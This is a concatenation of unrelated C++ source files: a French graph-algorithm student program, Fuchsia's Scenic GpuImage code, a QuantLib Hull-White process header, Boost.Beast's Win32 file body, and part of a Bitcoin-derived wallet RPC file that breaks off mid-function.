for (auto itr = ch1_dijkstra.listeVilles.begin(); itr!= ch1_dijkstra.listeVilles.end(); ++itr)
cout << *itr << ", ";
cout << endl << "Duree totale du plus court chemin: " << ch1_dijkstra.dureeTotale << endl;
}
else
cout << "Pas de chemin trouve !" << endl;
if(ch2_dijkstra.reussi)
{
cout << "Liste des villes du plus court chemin en utilisant le cout du trajet:" << endl;
for (auto itr = ch2_dijkstra.listeVilles.begin(); itr!= ch2_dijkstra.listeVilles.end(); ++itr)
cout << *itr << ", ";
cout << endl << "Cout total du plus court chemin: " << ch2_dijkstra.coutTotal << endl;
}
else
cout << "Pas de chemin trouve !" << endl;
break;
}
case 3: //Trouver les composantes fortement connexes avec Kosaraju.
{
cout << "Recherche composantes fortement connexes avec Kosaraju." << endl;
std::vector<std::vector<std::string> > resultat = reseau.algorithmeKosaraju();
cout << "nombre des composantes trouvees: " << resultat.size() << endl;
for (size_t i = 0; i < resultat.size(); ++i) {
cout << "Composante numero " << i+1 << ": " << endl;
for (auto itr = resultat.at(i).begin(); itr != resultat.at(i).end(); ++itr)
cout << *itr << ", ";
cout << endl;
}
break;
}
case 4: //Mesurer le temps d'exécution de Dijkstra.
{
cout << "Mesurer le temps d'execution de Dijkstra." << endl;
startTime = clock();
for(int i=0; i<100; i++)
Chemin bench_qt_dikstra = reseau.rechercheCheminDijkstra("Quebec-Centre-Ville", "Montreal-Aeroport-Trudeau", true);
endTime = clock();
cout << "Temps d'execution: " << endTime - startTime << " microsecondes" << endl;
break;
}
case 5: //Mesurer le temps d'exécution de Kosaraju.
{
cout << "Mesurer le temps d'execution de Kosaraju." << endl;
startTime = clock();
for(int i=0; i<100; i++)
std::vector<std::vector<std::string> > bench_qt_Kosaraju = reseau.algorithmeKosaraju();
endTime = clock();
cout << "Temps d'execution: " << endTime - startTime << " microsecondes" << endl;
break;
}
}
}
catch(exception & e)
{
std::cerr << "ERREUR: " << e.what() << std::endl;
}
}
cout << "***Merci et au revoir !***" << endl;
return 0;
}
|
// Copyright 2017 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/ui/scenic/lib/gfx/resources/gpu_image.h"
#include "src/ui/lib/escher/impl/naive_image.h"
#include "src/ui/lib/escher/util/image_utils.h"
#include "src/ui/lib/escher/vk/image_layout_updater.h"
#include "src/ui/scenic/lib/gfx/engine/session.h"
#include "src/ui/scenic/lib/gfx/resources/memory.h"
namespace scenic_impl {
namespace gfx {
const ResourceTypeInfo GpuImage::kTypeInfo = {
ResourceType::kGpuImage | ResourceType::kImage | ResourceType::kImageBase, "GpuImage"};
GpuImage::GpuImage(Session* session, ResourceId id, escher::ImagePtr image)
: Image(session, id, GpuImage::kTypeInfo) {
image_ = image;
}
GpuImagePtr GpuImage::New(Session* session, ResourceId id, MemoryPtr memory,
const fuchsia::images::ImageInfo& image_info, uint64_t memory_offset,
ErrorReporter* error_reporter) {
vk::Format pixel_format = vk::Format::eUndefined;
size_t bytes_per_pixel = 4u;
size_t pixel_alignment = 4u;
bool is_mutable = false;
switch (image_info.pixel_format) {
case fuchsia::images::PixelFormat::BGRA_8:
pixel_format = vk::Format::eB8G8R8A8Srgb;
// Mutable format flag is required for image info to match existing clients.
// TODO(reveman): Remove this when clients have switched to immutable R8G8B8A8.
is_mutable = true;
break;
case fuchsia::images::PixelFormat::R8G8B8A8:
pixel_format = vk::Format::eR8G8B8A8Srgb;
break;
case fuchsia::images::PixelFormat::YUY2:
case fuchsia::images::PixelFormat::NV12:
case fuchsia::images::PixelFormat::YV12:
error_reporter->ERROR() << "GpuImage::New(): PixelFormat must be BGRA_8 or R8G8B8A8.";
return nullptr;
}
if (image_info.width <= 0) {
error_reporter->ERROR() << "GpuImage::New(): width must be greater than 0.";
return nullptr;
}
if (image_info.height <= 0) {
error_reporter->ERROR() << "GpuImage::New(): height must be greater than 0.";
return nullptr;
}
auto& caps = session->resource_context().vk_device_queues_capabilities;
if (image_info.width > caps.max_image_width) {
error_reporter->ERROR() << "GpuImage::New(): image width exceeds maximum (" << image_info.width
<< " vs. " << caps.max_image_width << ").";
return nullptr;
}
if (image_info.height > caps.max_image_height) {
error_reporter->ERROR() << "GpuImage::New(): image height exceeds maximum ("
<< image_info.height << " vs. " << caps.max_image_height << ").";
return nullptr;
}
// TODO(47918): Support non-premultiplied alpha format and remove this.
if (image_info.alpha_format == fuchsia::images::AlphaFormat::NON_PREMULTIPLIED) {
error_reporter->ERROR() << "GpuImage::New(): Non-premultiplied alpha format "
<< "is not supported yet.";
return nullptr;
}
escher::ImageInfo escher_image_info;
escher_image_info.format = pixel_format;
escher_image_info.width = image_info.width;
escher_image_info.height = image_info.height;
escher_image_info.sample_count = 1;
// If this image is shared cross-process these flags (and all other
// vkCreateImage parameters) need to match those in the other process.
// Other locations that need to match: topaz/flutter_runner/vulkan_surface.cc
escher_image_info.usage =
vk::ImageUsageFlagBits::eTransferSrc | vk::ImageUsageFlagBits::eTransferDst |
vk::ImageUsageFlagBits::eSampled | vk::ImageUsageFlagBits::eColorAttachment;
escher_image_info.is_external = true;
escher_image_info.is_mutable = is_mutable;
// TODO(SCN-1182): Add unit tests to verify this logic.
switch (image_info.tiling) {
case fuchsia::images::Tiling::LINEAR:
escher_image_info.tiling = vk::ImageTiling::eLinear;
break;
case fuchsia::images::Tiling::GPU_OPTIMAL:
escher_image_info.tiling = vk::ImageTiling::eOptimal;
break;
}
// TODO(SCN-1012): Don't hardcode this -- use the data on the memory
// object once we support a bitmask instead of an enum.
escher_image_info.memory_flags = vk::MemoryPropertyFlagBits::eDeviceLocal;
constexpr auto kInitialLayout = vk::ImageLayout::ePreinitialized;
vk::Device vk_device = session->resource_context().vk_device;
vk::Image vk_image =
escher::image_utils::CreateVkImage(vk_device, escher_image_info, kInitialLayout);
// Make sure that the image is within range of its associated memory.
vk::MemoryRequirements memory_reqs;
vk_device.getImageMemoryRequirements(vk_image, &memory_reqs);
if (memory_offset >= memory->size()) {
error_reporter->ERROR() << "GpuImage::New(): the offset of the Image must be "
<< "within the range of the Memory";
return nullptr;
}
if (memory_offset + memory_reqs.size > memory->size()) {
error_reporter->ERROR() << "GpuImage::New(): the Image must fit within the size "
<< "of the Memory" << memory_reqs.size << " " << memory->size() << " "
<< memory_offset;
return nullptr;
}
// Make a pointer to a subregion of the memory, if necessary.
escher::GpuMemPtr gpu_mem =
(memory_offset > 0 || memory_reqs.size < memory->size())
? memory->GetGpuMem(error_reporter)->Suballocate(memory_reqs.size, memory_offset)
: memory->GetGpuMem(error_reporter);
escher::ImagePtr image = escher::impl::NaiveImage::AdoptVkImage(
session->resource_context().escher_resource_recycler, escher_image_info, vk_image,
std::move(gpu_mem), kInitialLayout);
if (!image) {
error_reporter->ERROR() << "GpuImage::New(): failed to adopt vk image";
return nullptr;
}
return fxl::AdoptRef(new GpuImage(session, id, image));
}
GpuImagePtr GpuImage::New(Session* session, ResourceId id, MemoryPtr memory,
vk::ImageCreateInfo create_info, ErrorReporter* error_reporter) {
auto vk_device = session->resource_context().vk_device;
auto image_result = vk_device.createImage(create_info);
if (image_result.result != vk::Result::eSuccess) {
error_reporter->ERROR() << "GpuImage::New(): VkCreateImage failed: "
<< vk::to_string(image_result.result);
return nullptr;
}
// Make sure that the image is within range of its associated memory.
vk::MemoryRequirements memory_reqs;
vk_device.getImageMemoryRequirements(image_result.value, &memory_reqs);
escher::GpuMemPtr gpu_mem = memory->GetGpuMem(error_reporter);
FX_DCHECK(gpu_mem);
escher::ImageInfo image_info;
image_info.format = create_info.format;
image_info.width = create_info.extent.width;
image_info.height = create_info.extent.height;
image_info.usage = create_info.usage;
image_info.memory_flags = vk::MemoryPropertyFlagBits::eDeviceLocal;
if (create_info.flags & vk::ImageCreateFlagBits::eProtected) {
image_info.memory_flags = vk::MemoryPropertyFlagBits::eProtected;
}
image_info.is_external = true;
escher::ImagePtr image = escher::impl::NaiveImage::AdoptVkImage(
session->resource_context().escher_resource_recycler, image_info, image_result.value,
std::move(gpu_mem), create_info.initialLayout);
if (!image) {
error_reporter->ERROR() << "GpuImage::New(): failed to adopt vk image";
return nullptr;
}
return fxl::AdoptRef(new GpuImage(session, id, image));
}
void GpuImage::UpdateEscherImage(escher::BatchGpuUploader* gpu_uploader,
escher::ImageLayoutUpdater* layout_updater) {
FX_DCHECK(layout_updater) << "Layout updater doesn't exist!";
if (!image_->is_layout_initialized()) {
// TODO(36106): Currently we only convert the layout to |eShaderReadOnlyOptimal| -- this needs
// to be synchronized with topaz/runtime/flutter_runner.
layout_updater->ScheduleSetImageInitialLayout(image_, vk::ImageLayout::eShaderReadOnlyOptimal);
}
dirty_ = UpdatePixels(gpu_uploader);
}
bool GpuImage::UpdatePixels(escher::BatchGpuUploader* uploader) { return false; }
} // namespace gfx
} // namespace scenic_impl
|
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
Copyright (C) 2006 Banca Profilo S.p.A.
This file is part of QuantLib, a free-software/open-source library
for financial quantitative analysts and developers - http://quantlib.org/
QuantLib is free software: you can redistribute it and/or modify it
under the terms of the QuantLib license. You should have received a
copy of the license along with this program; if not, please email
<quantlib-dev@lists.sf.net>. The license is also available online at
<http://quantlib.org/license.shtml>.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the license for more details.
*/
/*! \file hullwhiteprocess.hpp
\brief Hull-White stochastic processes
*/
#ifndef quantlib_hull_white_processes_hpp
#define quantlib_hull_white_processes_hpp
#include <ql/processes/forwardmeasureprocess.hpp>
#include <ql/processes/ornsteinuhlenbeckprocess.hpp>
#include <ql/termstructures/yieldtermstructure.hpp>
#include <ql/termstructures/volatility/hullwhitevolatility.hpp>
namespace QuantLib {
//! Hull-White stochastic process
/*! \ingroup processes */
class HullWhiteProcess: public StochasticProcess1D {
public:
HullWhiteProcess(const Handle<YieldTermStructure>& h,
Real a,
Real sigma);
//added by jihoon lee
HullWhiteProcess(const Handle<YieldTermStructure>& h,
Real a,
HullWhiteVolatility volTermStructure);
//! \name StochasticProcess1D interface
//@{
Real x0() const;
Real drift(Time t, Real x) const;
Real diffusion(Time t, Real x) const;
Real expectation(Time t0, Real x0, Time dt) const;
Real stdDeviation(Time t0, Real x0, Time dt) const;
Real variance(Time t0, Real x0, Time dt) const;
Real a() const;
Real sigma() const;
Real alpha(Time t) const;
//added by Jihoon Lee 20140826
void setX0(Real x0);
//@}
protected:
boost::shared_ptr<QuantLib::OrnsteinUhlenbeckProcess> process_;
Handle<YieldTermStructure> h_;
Real a_, sigma_;
private:
HullWhiteVolatility volTermStructures_;
boost::function<Real (Time)> vol_;
bool useTermStructure_;
};
//! %Forward Hull-White stochastic process
/*! \ingroup processes */
class HullWhiteForwardProcess: public ForwardMeasureProcess1D {
public:
HullWhiteForwardProcess(const Handle<YieldTermStructure>& h,
Real a,
Real sigma);
//! \name StochasticProcess1D interface
//@{
Real x0() const;
Real drift(Time t, Real x) const;
Real diffusion(Time t, Real x) const;
Real expectation(Time t0, Real x0, Time dt) const;
Real stdDeviation(Time t0, Real x0, Time dt) const;
Real variance(Time t0, Real x0, Time dt) const;
//@}
Real a() const;
Real sigma() const;
Real alpha(Time t) const;
Real M_T(Real s, Real t, Real T) const;
Real B(Time t, Time T) const;
protected:
boost::shared_ptr<QuantLib::OrnsteinUhlenbeckProcess> process_;
Handle<YieldTermStructure> h_;
Real a_, sigma_;
};
}
#endif
|
//
// Copyright (c) 2016-2017 Vinnie Falco (vinnie dot falco at gmail dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// Official repository: https://github.com/boostorg/beast
//
#ifndef BOOST_BEAST_HTTP_IMPL_FILE_BODY_WIN32_IPP
#define BOOST_BEAST_HTTP_IMPL_FILE_BODY_WIN32_IPP
#if BOOST_BEAST_USE_WIN32_FILE
#include <boost/beast/core/bind_handler.hpp>
#include <boost/beast/core/type_traits.hpp>
#include <boost/beast/core/detail/clamp.hpp>
#include <boost/beast/http/serializer.hpp>
#include <boost/asio/associated_allocator.hpp>
#include <boost/asio/associated_executor.hpp>
#include <boost/asio/async_result.hpp>
#include <boost/asio/basic_stream_socket.hpp>
#include <boost/asio/handler_continuation_hook.hpp>
#include <boost/asio/windows/overlapped_ptr.hpp>
#include <boost/make_unique.hpp>
#include <boost/smart_ptr/make_shared_array.hpp>
#include <boost/winapi/basic_types.hpp>
#include <algorithm>
#include <cstring>
namespace boost {
namespace beast {
namespace http {
namespace detail {
template<class, class, bool, class>
class write_some_win32_op;
} // detail
template<>
struct basic_file_body<file_win32>
{
using file_type = file_win32;
class writer;
class reader;
//--------------------------------------------------------------------------
class value_type
{
friend class writer;
friend class reader;
friend struct basic_file_body<file_win32>;
template<class, class, bool, class>
friend class detail::write_some_win32_op;
template<
class Protocol, bool isRequest, class Fields>
friend
std::size_t
write_some(
boost::asio::basic_stream_socket<Protocol>& sock,
serializer<isRequest,
basic_file_body<file_win32>, Fields>& sr,
error_code& ec);
file_win32 file_;
std::uint64_t size_ = 0; // cached file size
std::uint64_t first_; // starting offset of the range
std::uint64_t last_; // ending offset of the range
public:
~value_type() = default;
value_type() = default;
value_type(value_type&& other) = default;
value_type& operator=(value_type&& other) = default;
bool
is_open() const
{
return file_.is_open();
}
std::uint64_t
size() const
{
return size_;
}
void
close();
void
open(char const* path, file_mode mode, error_code& ec);
void
reset(file_win32&& file, error_code& ec);
};
//--------------------------------------------------------------------------
class writer
{
template<class, class, bool, class>
friend class detail::write_some_win32_op;
template<
class Protocol, bool isRequest, class Fields>
friend
std::size_t
write_some(
boost::asio::basic_stream_socket<Protocol>& sock,
serializer<isRequest,
basic_file_body<file_win32>, Fields>& sr,
error_code& ec);
value_type& body_; // The body we are reading from
std::uint64_t pos_; // The current position in the file
char buf_[4096]; // Small buffer for reading
public:
using const_buffers_type =
boost::asio::const_buffer;
template<bool isRequest, class Fields>
writer(message<isRequest,
basic_file_body<file_win32>, Fields>& m)
: body_(m.body())
{
}
void
init(error_code&)
{
BOOST_ASSERT(body_.file_.is_open());
pos_ = body_.first_;
}
boost::optional<std::pair<const_buffers_type, bool>>
get(error_code& ec)
{
std::size_t const n = (std::min)(sizeof(buf_),
beast::detail::clamp(body_.last_ - pos_));
if(n == 0)
{
ec.assign(0, ec.category());
return boost::none;
}
auto const nread = body_.file_.read(buf_, n, ec);
if(ec)
return boost::none;
BOOST_ASSERT(nread != 0);
pos_ += nread;
ec.assign(0, ec.category());
return {{
{buf_, nread}, // buffer to return.
pos_ < body_.last_}}; // `true` if there are more buffers.
}
};
//--------------------------------------------------------------------------
class reader
{
value_type& body_;
public:
template<bool isRequest, class Fields>
explicit
reader(message<isRequest, basic_file_body, Fields>& m)
: body_(m.body())
{
}
void
init(boost::optional<
std::uint64_t> const& content_length,
error_code& ec)
{
// VFALCO We could reserve space in the file
boost::ignore_unused(content_length);
BOOST_ASSERT(body_.file_.is_open());
ec.assign(0, ec.category());
}
template<class ConstBufferSequence>
std::size_t
put(ConstBufferSequence const& buffers,
error_code& ec)
{
std::size_t nwritten = 0;
for(auto buffer : beast::detail::buffers_range(buffers))
{
nwritten += body_.file_.write(
buffer.data(), buffer.size(), ec);
if(ec)
return nwritten;
}
ec.assign(0, ec.category());
return nwritten;
}
void
finish(error_code& ec)
{
ec.assign(0, ec.category());
}
};
//--------------------------------------------------------------------------
static
std::uint64_t
size(value_type const& body)
{
return body.size();
}
};
//------------------------------------------------------------------------------
inline
void
basic_file_body<file_win32>::
value_type::
close()
{
error_code ignored;
file_.close(ignored);
}
inline
void
basic_file_body<file_win32>::
value_type::
open(char const* path, file_mode mode, error_code& ec)
{
file_.open(path, mode, ec);
if(ec)
return;
size_ = file_.size(ec);
if(ec)
{
close();
return;
}
first_ = 0;
last_ = size_;
}
inline
void
basic_file_body<file_win32>::
value_type::
reset(file_win32&& file, error_code& ec)
{
if(file_.is_open())
{
error_code ignored;
file_.close(ignored);
}
file_ = std::move(file);
if(file_.is_open())
{
size_ = file_.size(ec);
if(ec)
{
close();
return;
}
first_ = 0;
last_ = size_;
}
}
//------------------------------------------------------------------------------
namespace detail {
template<class Unsigned>
inline
boost::winapi::DWORD_
lowPart(Unsigned n)
{
return static_cast<
boost::winapi::DWORD_>(
n & 0xffffffff);
}
template<class Unsigned>
inline
boost::winapi::DWORD_
highPart(Unsigned n, std::true_type)
{
return static_cast<
boost::winapi::DWORD_>(
(n>>32)&0xffffffff);
}
template<class Unsigned>
inline
boost::winapi::DWORD_
highPart(Unsigned, std::false_type)
{
return 0;
}
template<class Unsigned>
inline
boost::winapi::DWORD_
highPart(Unsigned n)
{
return highPart(n, std::integral_constant<
bool, (sizeof(Unsigned)>4)>{});
}
class null_lambda
{
public:
template<class ConstBufferSequence>
void
operator()(error_code&,
ConstBufferSequence const&) const
{
BOOST_ASSERT(false);
}
};
//------------------------------------------------------------------------------
#if BOOST_ASIO_HAS_WINDOWS_OVERLAPPED_PTR
template<
class Protocol, class Handler,
bool isRequest, class Fields>
class write_some_win32_op
{
boost::asio::basic_stream_socket<Protocol>& sock_;
serializer<isRequest,
basic_file_body<file_win32>, Fields>& sr_;
std::size_t bytes_transferred_ = 0;
Handler h_;
bool header_ = false;
public:
write_some_win32_op(write_some_win32_op&&) = default;
write_some_win32_op(write_some_win32_op const&) = default;
template<class DeducedHandler>
write_some_win32_op(
DeducedHandler&& h,
boost::asio::basic_stream_socket<Protocol>& s,
serializer<isRequest,
basic_file_body<file_win32>,Fields>& sr)
: sock_(s)
, sr_(sr)
, h_(std::forward<DeducedHandler>(h))
{
}
using allocator_type =
boost::asio::associated_allocator_t<Handler>;
allocator_type
get_allocator() const noexcept
{
return boost::asio::get_associated_allocator(h_);
}
using executor_type =
boost::asio::associated_executor_t<Handler, decltype(std::declval<
boost::asio::basic_stream_socket<Protocol>&>().get_executor())>;
executor_type
get_executor() const noexcept
{
return boost::asio::get_associated_executor(
h_, sock_.get_executor());
}
void
operator()();
void
operator()(
error_code ec,
std::size_t bytes_transferred = 0);
friend
bool asio_handler_is_continuation(write_some_win32_op* op)
{
using boost::asio::asio_handler_is_continuation;
return asio_handler_is_continuation(
std::addressof(op->h_));
}
};
template<
class Protocol, class Handler,
bool isRequest, class Fields>
void
write_some_win32_op<
Protocol, Handler, isRequest, Fields>::
operator()()
{
if(! sr_.is_header_done())
{
header_ = true;
sr_.split(true);
return detail::async_write_some(
sock_, sr_, std::move(*this));
}
if(sr_.get().chunked())
{
return detail::async_write_some(
sock_, sr_, std::move(*this));
}
auto& r = sr_.reader_impl();
boost::winapi::DWORD_ const nNumberOfBytesToWrite =
static_cast<boost::winapi::DWORD_>(
(std::min<std::uint64_t>)(
(std::min<std::uint64_t>)(r.body_.last_ - r.pos_, sr_.limit()),
(std::numeric_limits<boost::winapi::DWORD_>::max)()));
boost::asio::windows::overlapped_ptr overlapped{
sock_.get_executor().context(), *this};
auto& ov = *overlapped.get();
ov.Offset = lowPart(r.pos_);
ov.OffsetHigh = highPart(r.pos_);
auto const bSuccess = ::TransmitFile(
sock_.native_handle(),
sr_.get().body().file_.native_handle(),
nNumberOfBytesToWrite,
0,
overlapped.get(),
nullptr,
0);
auto const dwError = ::GetLastError();
if(! bSuccess && dwError !=
boost::winapi::ERROR_IO_PENDING_)
{
// VFALCO This needs review, is 0 the right number?
// completed immediately (with error?)
overlapped.complete(error_code{static_cast<int>(
boost::winapi::GetLastError()),
system_category()}, 0);
return;
}
overlapped.release();
}
template<
class Protocol, class Handler,
bool isRequest, class Fields>
void
write_some_win32_op<
Protocol, Handler, isRequest, Fields>::
operator()(
error_code ec, std::size_t bytes_transferred)
{
bytes_transferred_ += bytes_transferred;
if(! ec)
{
if(header_)
{
header_ = false;
return (*this)();
}
auto& r = sr_.reader_impl();
r.pos_ += bytes_transferred;
BOOST_ASSERT(r.pos_ <= r.body_.last_);
if(r.pos_ >= r.body_.last_)
{
sr_.next(ec, null_lambda{});
BOOST_ASSERT(! ec);
BOOST_ASSERT(sr_.is_done());
}
}
h_(ec, bytes_transferred_);
}
#endif
} // detail
//------------------------------------------------------------------------------
template<class Protocol, bool isRequest, class Fields>
std::size_t
write_some(
boost::asio::basic_stream_socket<Protocol>& sock,
serializer<isRequest,
basic_file_body<file_win32>, Fields>& sr,
error_code& ec)
{
if(! sr.is_header_done())
{
sr.split(true);
auto const bytes_transferred =
detail::write_some(sock, sr, ec);
if(ec)
return bytes_transferred;
return bytes_transferred;
}
if(sr.get().chunked())
{
auto const bytes_transferred =
detail::write_some(sock, sr, ec);
if(ec)
return bytes_transferred;
return bytes_transferred;
}
auto& r = sr.reader_impl();
r.body_.file_.seek(r.pos_, ec);
if(ec)
return 0;
boost::winapi::DWORD_ const nNumberOfBytesToWrite =
static_cast<boost::winapi::DWORD_>(
(std::min<std::uint64_t>)(
(std::min<std::uint64_t>)(r.body_.last_ - r.pos_, sr.limit()),
(std::numeric_limits<boost::winapi::DWORD_>::max)()));
auto const bSuccess = ::TransmitFile(
sock.native_handle(),
r.body_.file_.native_handle(),
nNumberOfBytesToWrite,
0,
nullptr,
nullptr,
0);
if(! bSuccess)
{
ec.assign(static_cast<int>(
boost::winapi::GetLastError()),
system_category());
return 0;
}
r.pos_ += nNumberOfBytesToWrite;
BOOST_ASSERT(r.pos_ <= r.body_.last_);
if(r.pos_ < r.body_.last_)
{
ec.assign(0, ec.category());
}
else
{
sr.next(ec, detail::null_lambda{});
BOOST_ASSERT(! ec);
BOOST_ASSERT(sr.is_done());
}
return nNumberOfBytesToWrite;
}
#if BOOST_ASIO_HAS_WINDOWS_OVERLAPPED_PTR
template<
class Protocol,
bool isRequest, class Fields,
class WriteHandler>
BOOST_ASIO_INITFN_RESULT_TYPE(
WriteHandler, void(error_code, std::size_t))
async_write_some(
boost::asio::basic_stream_socket<Protocol>& sock,
serializer<isRequest,
basic_file_body<file_win32>, Fields>& sr,
WriteHandler&& handler)
{
boost::asio::async_completion<WriteHandler,
void(error_code)> init{handler};
detail::write_some_win32_op<
Protocol,
BOOST_ASIO_HANDLER_TYPE(WriteHandler,
void(error_code, std::size_t)),
isRequest, Fields>{
init.completion_handler, sock, sr}();
return init.result.get();
}
#endif
} // http
} // beast
} // boost
#endif
#endif
|
// Copyright (c) 2009-2017 The Bitcoin Core developers
// Copyright (c) 2020 The RoseCoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <base58.h>
#include <chain.h>
#include <rpc/safemode.h>
#include <rpc/server.h>
#include <wallet/init.h>
#include <validation.h>
#include <script/script.h>
#include <script/standard.h>
#include <sync.h>
#include <util.h>
#include <utiltime.h>
#include <wallet/wallet.h>
#include <merkleblock.h>
#include <core_io.h>
#include <wallet/rpcwallet.h>
#include <fstream>
#include <stdint.h>
#include <boost/algorithm/string.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <univalue.h>
std::string static EncodeDumpTime(int64_t nTime) {
return DateTimeStrFormat("%Y-%m-%dT%H:%M:%SZ", nTime);
}
int64_t static DecodeDumpTime(const std::string &str) {
static const boost::posix_time::ptime epoch = boost::posix_time::from_time_t(0);
static const std::locale loc(std::locale::classic(),
new boost::posix_time::time_input_facet("%Y-%m-%dT%H:%M:%SZ"));
std::istringstream iss(str);
iss.imbue(loc);
boost::posix_time::ptime ptime(boost::date_time::not_a_date_time);
iss >> ptime;
if (ptime.is_not_a_date_time())
return 0;
return (ptime - epoch).total_seconds();
}
std::string static EncodeDumpString(const std::string &str) {
std::stringstream ret;
for (unsigned char c : str) {
if (c <= 32 || c >= 128 || c == '%') {
ret << '%' << HexStr(&c, &c + 1);
} else {
ret << c;
}
}
return ret.str();
}
std::string DecodeDumpString(const std::string &str) {
std::stringstream ret;
for (unsigned int pos = 0; pos < str.length(); pos++) {
unsigned char c = str[pos];
if (c == '%' && pos+2 < str.length()) {
c = (((str[pos+1]>>6)*9+((str[pos+1]-'0')&15)) << 4) |
((str[pos+2]>>6)*9+((str[pos+2]-'0')&15));
pos += 2;
}
ret << c;
}
return ret.str();
}
bool GetWalletAddressesForKey(CWallet * const pwallet, const CKeyID &keyid, std::string &strAddr, std::string &strLabel)
{
bool fLabelFound = false;
CKey key;
pwallet->GetKey(keyid, key);
for (const auto& dest : GetAllDestinationsForKey(key.GetPubKey())) {
if (pwallet->mapAddressBook.count(dest)) {
if (!strAddr.empty()) {
strAddr += ",";
}
strAddr += EncodeDestination(dest);
strLabel = EncodeDumpString(pwallet->mapAddressBook[dest].name);
fLabelFound = true;
}
}
if (!fLabelFound) {
strAddr = EncodeDestination(GetDestinationForKey(key.GetPubKey(), g_address_type));
}
return fLabelFound;
}
UniValue importprivkey(const JSONRPCRequest& request)
{
CWallet * const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() < 1 || request.params.size() > 3)
throw std::runtime_error(
"importprivkey \"privkey\" ( \"label\" ) ( rescan )\n"
"\nAdds a private key (as returned by dumpprivkey) to your wallet. Requires a new wallet backup.\n"
"\nArguments:\n"
"1. \"privkey\" (string, required) The private key (see dumpprivkey)\n"
"2. \"label\" (string, optional, default=\"\") An optional label\n"
"3. rescan (boolean, optional, default=true) Rescan the wallet for transactions\n"
"\nNote: This call can take minutes to complete if rescan is true, during that time, other rpc calls\n"
"may report that the imported key exists but related transactions are still missing, leading to temporarily incorrect/bogus balances and unspent outputs until rescan completes.\n"
"\nExamples:\n"
"\nDump a private key\n"
+ HelpExampleCli("dumpprivkey", "\"myaddress\"") +
"\nImport the private key with rescan\n"
+ HelpExampleCli("importprivkey", "\"mykey\"") +
"\nImport using a label and without rescan\n"
+ HelpExampleCli("importprivkey", "\"mykey\" \"testing\" false") +
"\nImport using default blank label and without rescan\n"
+ HelpExampleCli("importprivkey", "\"mykey\" \"\" false") +
"\nAs a JSON-RPC call\n"
+ HelpExampleRpc("importprivkey", "\"mykey\", \"testing\", false")
);
WalletRescanReserver reserver(pwallet);
bool fRescan = true;
{
LOCK2(cs_main, pwallet->cs_wallet);
EnsureWalletIsUnlocked(pwallet);
std::string strSecret = request.params[0].get_str();
std::string strLabel = "";
if (!request.params[1].isNull())
strLabel = request.params[1].get_str();
// Whether to perform rescan after import
if (!request.params[2].isNull())
fRescan = request.params[2].get_bool();
if (fRescan && fPruneMode)
throw JSONRPCError(RPC_WALLET_ERROR, "Rescan is disabled in pruned mode");
if (fRescan && !reserver.reserve()) {
throw JSONRPCError(RPC_WALLET_ERROR, "Wallet is currently rescanning. Abort existing rescan or wait.");
}
CBitcoinSecret vchSecret;
bool fGood = vchSecret.SetString(strSecret);
if (!fGood) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key encoding");
CKey key = vchSecret.GetKey();
if (!key.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range");
CPubKey pubkey = key.GetPubKey();
assert(key.VerifyPubKey(pubkey));
CKeyID vchAddress = pubkey.GetID();
{
pwallet->MarkDirty();
// We don't know which corresponding address will be used; label them all
for (const auto& dest : GetAllDestinationsForKey(pubkey)) {
pwallet->SetAddressBook(dest, strLabel, "receive");
}
// Don't throw error in case a key is already there
if (pwallet->HaveKey(vchAddress)) {
return NullUniValue;
}
// whenever a key is imported, we need to scan the whole chain
pwallet->UpdateTimeFirstKey(1);
pwallet->mapKeyMetadata[vchAddress].nCreateTime = 1;
if (!pwallet->AddKeyPubKey(key, pubkey)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet");
}
pwallet->LearnAllRelatedScripts(pubkey);
}
}
if (fRescan) {
pwallet->RescanFromTime(TIMESTAMP_MIN, reserver, true /* update */);
}
return NullUniValue;
}
UniValue abortrescan(const JSONRPCRequest& request)
{
CWallet* const pwallet = GetWalletForJSONRPCRequest(request);
if (!EnsureWalletIsAvailable(pwallet, request.fHelp)) {
return NullUniValue;
}
if (request.fHelp || request.params.size() > 0)
throw std::runtime_error(
"abortrescan\n"
"\nStops current wallet rescan triggered by an RPC call, e.g. by an importprivkey call.\n"
"\nExamples:\n"
"\nImport a private key\n"
+ HelpExampleCli("importprivkey", "\"mykey\"") +
"\nAbort the running wallet rescan\n"
+ HelpExampleCli("abortrescan", "") +
"\nAs a JSON-RPC call\n"
+ HelpExampleRpc("abortrescan", "")
);
ObserveSafeMode();
if (!pwallet->IsScanning() || pwallet->IsAbortingRescan()) return false;
pwallet->AbortRescan();
return true;
}
void ImportAddress(CWallet*, const CTxDestination& dest, const std::string& strLabel);
void ImportScript(CWallet* const pwallet, const CScript& script, const std::string& strLabel, bool isRedeemScript)
{
if (!isRedeemScript && ::IsMine(*pwallet, script) == ISMINE_SPENDABLE) {
throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script");
}
pwallet->MarkDirty();
if (!pwallet->HaveWatchOnly(script) && !pwallet->AddWatchOnly(script, 0 /* nCreateTime */)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet");
}
if (isRedeemScript) {
if (!pwallet->HaveCScript(script) && !pwallet->AddCScript(script)) {
throw JSONRPCError(RPC_WALLET_ERROR, "Error adding p2sh redeemScript to wallet");
}
ImportAddress(pwallet, CScriptID(script), strLabel);
} else {
CTxDestination destination;
if (ExtractDestination(script, destination)) {
pwallet->SetAddressBook(destination, strLabel, "receive");
}
}
}
void ImportAddress(CWallet* const pwallet, const CTxDestination& dest, const std::string& strLabel)
{
CScript script = GetScriptForDestination(dest);
